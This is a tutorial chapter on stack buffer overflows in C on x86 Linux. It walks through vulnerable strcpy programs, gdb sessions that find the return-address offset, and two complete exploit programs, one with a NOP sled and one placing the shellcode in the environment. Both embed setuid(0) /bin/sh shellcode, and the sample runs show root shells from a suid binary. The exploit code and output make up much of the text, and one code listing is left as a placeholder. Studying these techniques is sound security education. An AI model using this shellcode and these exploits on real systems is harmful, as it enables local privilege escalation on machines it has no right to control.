Introduction

Since the famous article "Smashing the Stack for fun and profit" by aleph1 there have been countless papers about buffer overflows, why then should there be another one? Because I have read most of them and they lack the specifics of the technique, why everything happens and how to react in case of a change and why you have to react.

Most of the papers out there are really notes. I can say that this has been explicitly written as a formal paper. Examples are made and also live examples are done of the different techniques and they all should work, if they don't drop me an email, although they have been tested on Slackware 7.0, 7.1 and RedHat 6.0, 6.2 and 7.0, all examples have been revisited on Slackware 9.0, RedHat 8.0 and Mandrake 9.0, Windows 2000 and Solaris on SPARC architecture.

During this chapter we will have some standards, I'll use and example to illustrate them:

```
nahual@fscking$ ./exploit1
[ + ] Example 1 for The Tao of Buffer Overflows [ + ]
[ + ] Coded by Enrique A. Sanchez Montellano
[ + ] Using address 0xbffff9c0
[ + ] Starting exploitation...

bash# id                                    As you can see now we've exploited the program
uid=0(root) gid=0(root)
bash#
```

So as you can see user input will have **this type of font**, the computer will have normal and comments will have *this type of font*.

And the Tao was born.

Functions like strcpy(), strcat(), gets(), sprintf() and all its derivates can be dangerous if not used with care. Why are they not used with care?, Books and classes are not taught with security in mind, the concept of buffer overflows is a concept that is solely for security consultants and hackers, being the first a ramification of the later as far as a lot of people are concerned, so you need special skills to find them and exploit them.

It might be so, but you don't need to have special skills to write a program without buffer overflows, just need to find some basic rules and stick to them just as you stick to the old rules. This chapter is concerned not only about the education, this chapter was designed to teach the theory and put it on practice, so people realize the theory behind the technique not to just write buffer overflows by taking another and changing a few things, at the end of the chapter we shall have some examples and some exercises in which you take control of the program.

Basically a buffer overflow can happen in many ways and in many functions if you have enough control of the variables being copied, which is to say we have a user controlled to user controlled copy. On this chapter UNIX based overflows on Intel architecture are covered first, then Windows

and then SPARC architecture. Every single architecture and OS has its particularities and they will be shown in its respective sections.

The buffer and the overflow of it.

Why a buffer overflow happens?, imagine a glass and a pitch of beer, what would happen if you pour all the pitch into the glass?, it would spill would it, imagine the variable is the glass and the user input is the pitch, it can happen that the user puts as much liquid as the size of the glass but it can also put more liquid and then it would spill, but it would spill into all directions, but memory doesn't grow in all directions its a 2 dimensional one and it only grows to one side.

But what else you overwrite when you overflow something? well when the liquid spills it does make the snacks, the papers, the table, etc. wet, in the example of papers it will destroy anything you would have written there (like that nice girl's phone number you just wrote down), so it has to destroy something when you overflow the variable, so what does it overwrite?, it will overwrite the variables, the EBP, the EIP and other stuff after that, depending on the function and if its the last function, after that is basically environment variables, so you could end up with a shell that is not usable because of killed environment variables.

It's important to realize how the stack grows and pops out when a program is called, so I'll expand little bit on it. When you call a function between the program the first thing that happens is that the pointer to the next operation is stored in a variable, then the stack frame, then variables and after that the function gets executed. So if you have a program like example 1 you would only have one function, function main() and you would allocate only one variable that would be 256 bytes, why? Because that is the size that we have declared in the array buffer[256].

Example 1:

```
#include <stdio.h>

int main(int argc, char **argv) {
        char buffer[256];

        if(argc > 1) strcpy(buffer, argv[1]);

        printf("You wrote %s\n", buffer);

        return 0;
}
```

So when you run the program this is what happens:

```
nahual@fscking$ ./example1 Blah
You wrote Blah                          Working normally ...
nahual@fscking$
```

This is what happens on memory when you run the program:

1. The address for the next operation gets saved; This operation would be the returning for the shell in case of the main() function.
2. The address of the Stack Frame is also saved.
3. Memory for the variable buffer is allocated; in this example is 256 bytes.
4. The function is executed.
5. When the function finishes the variable gets popped, then the stack frame and then the return address, thus the program going into that address and returning successfully saved instruction saved; being in this example the shell.

Easy huh?, well here it lies the hole technique of buffer overflowing, if you are able to write that variable which holds the address of the next operation when the function returns it will return to the address you wrote into it, but what should I put in that address?, you can virtually put anything in there as long is encoded in “machine code”, also called “shellcode” or “eggcode” by some people, this is a code that will “enhance” the operation of the program to extend it and execute anything we want, the most common one is just to spawn a shell with the privileges run by the program, which are usually the super user or system privileges.

It’s very important to note that memory grows in multiples of 4, why? Because of alignment and size, we will see it in the next chapters. EIP and EBP (Extended Instruction Pointer - also called return address - and Extended Base Pointer - also called stack frame pointer - respectively) are 4 bytes each on Intel x86 32 bit architecture. It’s very important not to forget that since we will base our code in that.

Why are the addresses 4 bytes long? We are now unto 32 bit Intel architecture, each byte is 8 bits, 32 bits would be 4 bytes, in case of 64 bit architecture like SPARC the addresses would be 8 bytes long. Some kernels and compilers already align for 8 bytes instead of 4 preparing for 64 bit architectures; this would be the case of gcc 3.0 and over and Linux RedHat kernels.

The stack in the example would look like this:

```
Variables:
[ EIP ] [ EBP ] [          Buffer                  ] [ Environment Variables ]

Bytes:
[  4  ] [  4  ] [                  256               ] [ ....                  ]
```

Ok very is important that the reader realizes how this is done and why this is done. To realize if you have really understood how this memory works ask yourself what would happen with the stack of example 2 and example 3 and if they are the same:

Example 2:

```
#include <stdio.h>

int main(int argc, char **argv) {
        char buffer[256];
```

```
        int i;

        if(argc > 1)  strcpy(buffer, argv[1]);

        printf("You wrote %s\n", buffer);

        return 0;
}
```

Example 3:

```
#include <stdio.h>

int main(int argc, char **argv) {
        int i;
        char buffer[256];

        if(argc > 1) strcpy(buffer, argv[1]);

        printf("You wrote %s\n", buffer);

        return 0;
}
```

The sketch of the variables is actually different, why? Because the way that the variables are stored in the stack, and this is very important while doing the overflow and the size of it, so example 2 would look like this:

```
Memory grows
------------------------------------------------------------------------>
[ Environment Variables ][ EIP ] [ EBP ] [              Buffer              ] [ i ]
<------------------------------------------------------------------------
User data being written in the stack
```

Example's 3 stack would look like this:

```
------------------------------------------------------------------------>
[ Environment Variables ][ EIP ] [ EBP ] [ i ] [              Buffer              ]
<------------------------------------------------------------------------
User data being written in the stack
```

So you see for example 2 the important variables are closer than to example 3, exactly 4 bytes closer since integers are 4 bytes long on 32 bit architecture. Having this memory map is very important for the clarification and buffer size of the exploitation since we are going to be exploiting what I call as “bouncing overflows” which are basically taking control of the stack by overflowing a variable which in turn ends up being the size of another or even a pointer to a writable buffer.

Hopefully this clarified your doubts and you have the memory management clear and know how the popping is also done. So on to the next part.

How to find and how to exploit a buffer overflow.

There are different ways to find and to exploit overflows. Also there are different techniques for different problems on overflows, which is to say not all overflows can be exploited by the same technique.

First lets find the overflow, we have basically 2 choices, one is to read the source and the other one is to look for it by hand, it depends on the person who is looking for it and also the size of the program, is easier to "inline check" a program that has 15 options but has 9,000 lines of code in different files, but is easier to "code check" a program that has 200 lines, such as a cgi, of course if we go into the internals of the programs (as we shall do on samba and other heavily used daemons) you have to read the code, so get your cigar, your glass of whisky and read.

We will first read and then "inline check" Example 1. We can easily recognize that strcpy() function does no bounds checking and we are not checking the size of argv[1], so if the user send more than 256 bytes then the program will overflow and will "render the stack". The problematic line is:

strcpy(buffer, argv[1]);

One thing to note is that the program will crash when it returns, since then it will try to reach the address that has been changed by the user input on the overflow, so stuff like printing variables and such can be done until the return.

So now we know that the buffer is 256, so we will "inline check" the binary and we will prove our theory.

nahual@fscking$ **./example1 ´perl -e "print 'A' x 120;"´**
You wrote
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
nahual@fscking$

Well nothing happened, lets try 500:

nahual@fscking$ **./example1 ´perl -e "print 'A' x 500;"´**
You wrote
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation Fault.
nahual@fscking$

So we found it! Not really it crashed but that doesn't mean that is the buffer, we have to find the exact buffer in which 4 bytes before works then after it dies.

nahual@fscking$ **./example1 ´perl -e "print 'A' x 250;"´**
You wrote
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
nahual@fscking$ **./example1 ´perl -e "print 'A' x 300;"´**
You wrote
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation Fault.
nahual@fscking$ **./example1 ´perl -e "print A x 256;"´**
You wrote
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
nahual@fscking$ **./example1 ´perl -e "print 'A' x 260;"´**
You wrote
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation Fault.
nahual@fscking$

Okay we have found that on 260 bytes the program dies, but that is not the attacking buffer, the buffer would be 264, why?, because remember that on 256 the program works since its the hole size of the variable and 260 kills the program because you overwrite the stack pointer but you have not touched the return address pointer. We can see that using gdb:

nahual@fscking:~/projects/overflows/tao of buffer overflows$ **gdb ./example1**
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-slackware-linux"...
(gdb) **set args `perl -e "print 'A' x 256;"`**
(gdb) **run**
Starting program: /_Hack/projects/overflows/tao of buffer overflows/./example1 `perl -e "print 'A' x 256;"`
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
You wrote
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program exited normally.
(gdb) **set args `perl -e "print 'A' x 260;"`**
(gdb) **run**
Starting program: /_Hack/projects/overflows/tao of buffer overflows/./example1 `perl -e "print 'A' x 260;"`
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
You wrote
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x40032500 in __libc_start_main () from /lib/libc.so.6
(gdb) **info eip ebp**
ebp 0x41414141 0x41414141
eip 0x40032500 0x40032500 ← *RETURN ADDRESS IS UNTOUCHED*
(gdb) **set args `perl -e "print 'A' x 264;"`**
(gdb) **run**
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /_Hack/projects/overflows/tao of buffer overflows/./example1 `perl -e "print 'A' x 264;"`
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
You wrote
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) **info ebp eip**
ebp 0x41414141 0x41414141
eip 0x41414141 0x41414141 ← *Overflow in the return address.*
(gdb)

So we see that 264 is the exact buffer we want to use, we want to be exact ant not to overuse the size of our buffer because remember you can end up killing variables and also you can end up with a problem of the offset, we will see that later.

So how you can exploit this? Well first we have to decide in with which technique we will attack the program. There are 2 basic techniques, "Jumping into the Stack" and "Smashing the Stack".

To attack big buffers the best technique is "Jump into the Stack", since a local shellcode is around 40 bytes long anything above 128 bytes is considered a good jump in the stack prospect. This technique involves making the program "jump" into the stack, into the buffer that has been allocated before, which contains the shellcode and that shellcode would be executed.

“Jump into the stack” technique

The name “Jump into the stack” is taken from jumping into the buffer that is being already inserted to the program by the user within the function, that is you return into user defined buffer within the function so you jump into the stack or the buffer.

A buffer on a "Jump into the Stack" attack would look like this:

```
Memory grows
------------------------------------------------------------------>

[ EIP ] [ EBP ] [              Buffer                   ]
[addr ] [ addr ] [shellcode NOP NOP NOP NOP NOP ]
   ^        ^                                    ^
   |        |                                    |
   ------->------------------->-------------->---------------
What the overflow program tries to do

<-------------------------------------------------------------------
User input data
```

The address in which points in the EIP is an address INSIDE Buffer, so the program actually goes into the buffer and executes the shellcode, it "jumps back into" buffer. NOP is a short for Null Operation, which means basically "Do nothing go to next instruction", this is to have a "landing field" so we don't have to guess the exact position of the shellcode.

This is why this technique is called "Jumping into the Stack", this technique is the most used and is the most widespread, and so you can find a lot of examples of this technique, which we will see later on.

Now we will exploit Example 1, don't worry about the shellcode, there are plenty of shellcodes around there, we want to understand the overflow technique, shellcodes will be left for another chapter if you please, remember that shellcode is a extremely important part of your exploit, why do I leave it for another chapter then?, because it is extremely important, a lot of exploits have been reported that are not able to get privileges but you can with the right shellcode, anyway we keep on going.

So we know that we need to do 264 bytes to overwrite EIP, which is the return address, now how do we make an exploit for this? Well this is an example exploit.

Exploit Example 1:

```
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define OFFSET          0
#define ALIGN           0
#define BUFFER          264                     //Size of the buffer we are going to use

static char shellcode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
          "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
          "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
          "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
  __asm__("movl %esp, %eax");           //We need to know were we are to see were we write
}

void usage(char *name) {
  printf("Usage: %s <offset> <align> <buffer>\n", name);
  printf("Enrique A. Sanchez Montellano (@defcom.com)\n");
  exit(0);
}

int main(int argc, char **argv) {
  char *code;
  int offset = OFFSET;
  int align = ALIGN;
  int buffer = BUFFER;
  unsigned long addr;
```

```
  int i;

  if(argc > 1) offset = atoi(argv[1]);          //If arguments take the first as offset
  if(argc > 2) align = atoi(argv[2]);           //If arguments take the second as align
  if(argc > 3) buffer = atoi(argv[3]);          //If arguments take the third as size of buffer

  code = (char *)malloc(buffer);

  printf("[ + ] Exploit for Example 1 of Tao of Buffer Overflows [ + ]\n");
  printf("------------------------------------------------------------\n");
  printf("[ + ] Coded by Enrique A. Sanchez Montellano\n\n");

  addr = get_sp() - offset;

  printf("[ + ] Using address 0x%x\n", addr);

  for(i = 0; i <= buffer; i += 4) {
    *(long *)&code[i] = 0x90909090;         Filling the buffer with Null Operations
  }

  *(long *)&code[buffer - 4] = addr;        Overwriting return address with our own
  *(long *)&code[buffer - 8] = addr;        Overwriting stack address with our own

  memcpy(code + buffer - strlen(shellcode) -8 - align, shellcode, strlen(shellcode));

  printf("[ + ] Starting exploitation ... \n\n");

  execl("./example1", "./example1", code, NULL);

  return 0;                         //We never reach here but gcc complains if you don't return int
}
```

So will this work? Well let's try it out!:

```
nahual@fscking$ gcc -o x-example1 x-example1.c
nahual@fscking$ ./x-example1
[ + ] Exploit for Example 1 of Tao on Buffer Overflows [ + ]
[ + ] Coded by Enrique A. Sanchez Montellano
[ + ] Using address 0xbffff9c0
[ + ] Starting exploitation ...

You wrote

                                *´{°°¬¬¬^`  ´´  +¨¨  ~  \ ~ ~
                                                                /bin/sh^~¨|^~¨|
sh-1.2$ id
uid=1000(nahual) gid=100(users) groups=100(users),13(news)
```

"Ok it worked but I mean what does this take me? I'm still me", yes it's you but that is because of file permissions, the program need to run suid to be able to "upgrade" your privileges, so as root you need to issue the next command:

```
root@fscking# chown root.root /home/nahual/example1
root@fscking# chmod 4755 /home/nahual/example1
root@fscking#
```

A suid program would look like this:

```
nahual@fscking$ ls -al /home/nahual/example1
-rwsr-sr-x        root      root      10032  Apr       4          example1
```

Ok, so now our program runs as root, why? We don't know we just want to gain root from it so I guess that is a good reason. So now to the exploitation:

```
nahual@fscking$ ./x-example1
[ + ] Exploit for Example 1 of Tao on Buffer Overflows [ + ]
[ + ] Coded by Enrique A. Sanchez Montellano
[ + ] Using address 0xbffff9c0
[ + ] Starting exploitation ...

You wrote

                        *´{°°¬¬¬^`  ´´ +¨¨  ~  \ ~ ~
                                                    /bin/sh^~¨|^~¨|
bash# id
uid=0(root) gid=0(root)
bash#
```

"Ok so now what we actually did?" You may ask now, well we check the exploiting program and then I take it apart (We put the program as comment for readability purposes):

```
#define OFFSET          0
#define ALIGN           0
#define BUFFER          264
```

This is pretty much self-explanatory, we are just defining some variables to be able to check them fast in case of changes (Hey we are human, we make mistakes don't we?).

```
static char shellcode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
        "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
        "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

Shellcode, this is the machine code to be run by our exploited program, this specific shellcode

setuid(0)’s and then calls /bin/sh to be able to have an interactive shell.

```
unsigned long get_sp(void) {
  __asm__("movl %esp, %eax");
}
```

This function is important to make your exploit almost automatic, if you define an address then what would happen is that you would have to change it every time you change systems since the different systems will have different process and stuff going on. This will make it more portable and you will only have to move it with the offset.

```
addr = get_sp() - offset;
```

Now this is where you move the address to make it jump into your shellcode. You'll maybe need to move the offset if the exploit doesn't work because of the system load and other weird stuff going on. My system is a laptop with all the services off, nobody but me runs on it and have low amount of process running, so when I allocate memory I get it side by side when I run the target program, if the system has a high load then maybe another program calls for memory while you are running still the exploit and not calling the target program so then you would have to put the offset to be able to jump into the exploit stack.

```
for(i = 0; i <= buffer; i += 4) {
  *(long *)&code[i] = 0x90909090;
}
```

Here we fill the hole buffer with Null Operations (0x90), since we are moving 4 by 4 we send 0x90909090, as you can see its 4 times 0x90, which is NOP for Intel.

```
*(long *)&code[buffer - 4] = addr;          Overwriting return address with our own
*(long *)&code[buffer - 8] = addr;          Overwriting stack address with our own
```

We overwrite EIP and ESP with the address of the buffer, as you can see only 2 addresses are needed to exploit the target program, actually you could change the second instruction to 0x41414141, which is AAAA and the program will still be exploited, this is to show that only the return address is the thing that we want to overwrite with the jumping address, nothing else.

```
memcpy(code + buffer - strlen(shellcode) -8 - align, shellcode, strlen(shellcode));
```

Here is where we copy the shellcode to the buffer, note how we move the pointer to the end of the variable, then we subtract the length of the shellcode, then 8 (which is 4 for EIP and 4 for EBP) and then the alignment. This will put the shellcode right after the EBP so we have more "landing space" for our exploit.

The alignment is because of the way shellcodes work on relative addresses it has to be aligned unto a multiple of 4, which means that if the buffer is not multiple of 4 the shellcode will be not aligned and the exploit will not work, you will get Illegal Instruction as a result of the exploit. This is not common but there are examples of this.

So now alignment becomes an issue, you don't want to be fiddling with alignments all the time, so what to do? Well you can align it automatically but forcing the NOP, the address and the shellcode alignment with a mod 4 into the exploit code:

Fixed Exploit Example 1:

<FIXED EXPLOIT WITH mod 4 STUFF>

so as you can see we can run this and it will still work:

```
nahual@fscking$ ./fx-example1
You wrote
                                *´{°°¬¬¬^`  ´´  +¨¨  ~  \ ~ ~
                                                                  /bin/sh^~¨|^~¨|
bash# id
uid=0(root) gid=0(root)
bash#
```

Ok so now what happens if we change example1.c to make it not aligned?

Example 5:

```
#include <stdio.h>

int main(int argc, char **argv) {
char buffer[257];

if(argc > 1) strcpy(buffer, argv[1]);

printf("You wrote %s\n", buffer);

return 0;
}
```

We need to change the exploit to call example3, so we change:

```
execl("./example1", "./example1", code, NULL);
```

for

```
execl("./example5", "./example5", code, NULL);
```

And we save it as fx-example5.c. We just changed that target program so we compile and run:

```
nahual@fscking$ gcc -o fx-example5 fx-example5.c
```

```
nahual@fscking$ ./fx-example1
[ + ] Exploit for Example 1 of Tao on Buffer Overflows [ + ]
[ + ] Coded by Enrique A. Sanchez Montellano
[ + ] Using address 0xbffff9c0
[ + ] Starting exploitation ...

You wrote

                                *´{°°¬¬¬^`  ´´  +¨¨  ~  \ ~ ~
                                                        /bin/sh^~¨|^~¨|
Illegal Instruction
nahual@fscking$ ./fx-example5
[ + ] Exploit for Example 1 of Tao on Buffer Overflows [ + ]
[ + ] Coded by Enrique A. Sanchez Montellano
[ + ] Using address 0xbffff9c0
[ + ] Starting exploitation ...

You wrote

                                *´{°°¬¬¬^`  ´´  +¨¨  ~  \ ~ ~
                                                        /bin/sh^~¨|^~¨|
bash# id
uid=0(root) gid=0(root)
bash#
```

So it works and we have made it more automatic, hopefully you realize that the alignment should be on the shellcode but also where you write the address since our buffer is not a multiple of 4, this will help you make faster and working exploits with ease.

There is an easier way to exploit local buffer overflows, put the shellcode on the environment, this technique is not really widespread and is my favorite, when you execute a binary with execve() the OS aligns the environment to fit the next binary (specially on the name shifting the difference between names of the programs) and puts the binary on the same segment of memory, giving you the advantage of knowing where you are exactly on the environment.

This way you can fully automate exploiting and not even use NOPs, this is a very nice automatic technique that blasts at local overflows making them one shot and really reliable, not offsets, no aligns.

Nopless exploit for example1:

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

#define VICTIM "./example1"
```

```
#define BSIZE  1040
#define ALIGN  0
#define OFFSET 0

extern char **environ;

char shellcode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
            "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
            "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv) {
  char *c0de, *envy;
  int bsize = BSIZE, align = ALIGN, offset = OFFSET, i;
  unsigned long addr;

  if((envy = getenv("AAAAAAA")) == NULL) {
    setenv("AAAAAAA", shellcode, 1);
    execve(argv[0], argv, environ);
  }

  align = strlen(argv[0]) - strlen(VICTIM);
  addr = (long)envy + align;

  c0de = (char *)malloc(bsize + 1);

  for(i = 0; i < bsize; i += 4)
    *(unsigned long *)&c0de[i] = addr;

  execle(VICTIM, VICTIM, c0de, NULL, environ);
  return 0;
}
```

As you can see there are some differences that I shall cover right now:

*extern char **environ;*

This line defines the variable environ in which the environment variables are hold for the program.

```
  if((envy = getenv("AAAAAAA")) == NULL) {
    setenv("AAAAAAA", shellcode, 1);
    execve(argv[0], argv, environ);
  }
```

If the environment variable “AAAAAAA” has not been set set it by having our shellcode on it, this way we don’t need a bed of NOPs, we exactly know were we are, right after we set it up we rexecute, by rexecuting we make shure the address is not changing by a security patch or that we

misalign the buffer.

Note how is really important to pass environ to the execve() so we preserve the exact environment we have right now and variables don’t get shifted around.

align = strlen(argv[0]) - strlen(VICTIM);

This is the alignment we need for the difference between the name of the exploiting binary and the exploited binary, this difference is the one that gets shifted when execve() is done to keep alignment on the binaries.

```
  addr = (long)envy + align;
```

This is the address of where our shellcode is, note how we add the alignment since align is a signed integer so it can be negative in case our exploited binary’s name is bigger than our exploit’s name.

```
  c0de = (char *)malloc(bsize + 1);

  for(i = 0; i < bsize; i += 4)
    *(unsigned long *)&c0de[i] = addr;
```

We allocate the size of the buffer to exploit and fill it with the address of the shellcode that is on the environment.

```
  execle(VICTIM, VICTIM, c0de, NULL, environ);
```

We execute the program we going to attack.

nahual@fscking:~/book/overflows$ **./x1**
You wrote
¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ
¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿
ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿
¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ
¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿
ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿
¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ
